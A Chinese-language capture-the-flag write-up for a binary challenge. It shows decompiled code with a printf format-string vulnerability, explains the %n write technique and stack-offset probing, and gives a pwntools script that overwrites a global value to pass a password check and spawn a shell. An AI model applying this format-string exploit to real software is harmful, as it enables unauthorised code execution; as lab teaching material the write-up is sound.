解题思路
反编译后的源码:
srand(__seed);
// 生成随机数
iVar1 = open("/dev/urandom",0);
read(iVar1,&DAT_0804c044,4);
printf("your name:");
// 读取输入
read(0,local_78,99);
printf("Hello,");
// 打印输入
printf(local_78);
printf("your passwd:");
read(0,local_88,0xf);
iVar1 = atoi(local_88);
// 判断输入密码是否与前面的随机数相等。
if (iVar1 == DAT_0804c044) {
puts("ok!!");
system("/bin/sh");
}
else {
puts("fail");
}
经过分析,找到突破口:printf(local_78); 该处会原样打印输入。可利用格式化输出写入或打印相关值。
知识点:
%xc%y$n
y为需要写入的地址值,x为输出长度,也是需要覆写的值。其中y一般利用栈上的数据。
那需要解决的问题如下:
如何覆写DAT_0804c044的值,使之与后续输入的密码相等。
-
DAT_0804c044的地址
DAT_0804c044为全局变量,可以直接使用该变量虚拟地址0x0804c044。 -
如何覆写
gdb调试发现,printf的时候,栈上并没有可利用的值。
经过一番实验、搜索、再实验(很痛苦漫长的过程)后,找到下述方法:
利用输入构造需要写入的地址
难点在于找到可以利用该地址的堆栈位置,寻找方法:输入AAAA%x$p, x为栈上存储输入的相对位置,一般不会太远。当输出伟AAAA0x41414141时,即为所找位置。
找到该位置后,即可编写脚本:
1 from pwn import *
2
3 sh = process('./2019pwn5')
4 sh.recvuntil('e:')
5 sh.sendline(p32(0x0804c044) + b'%1c%10$n') // 10为找到的栈上相对位置
6 sh.recvuntil('d:')
7 sh.sendline('5') // 4个字节的地址+1个字节 = 5
8 sh.interactive()
附录即为寻找到的方法,文章中更进一步的,提到了利用printf执行shellcode的方法,即将shellcode写入
.fini_array段中。当然,本题不需要,但是是可以借鉴的一个点。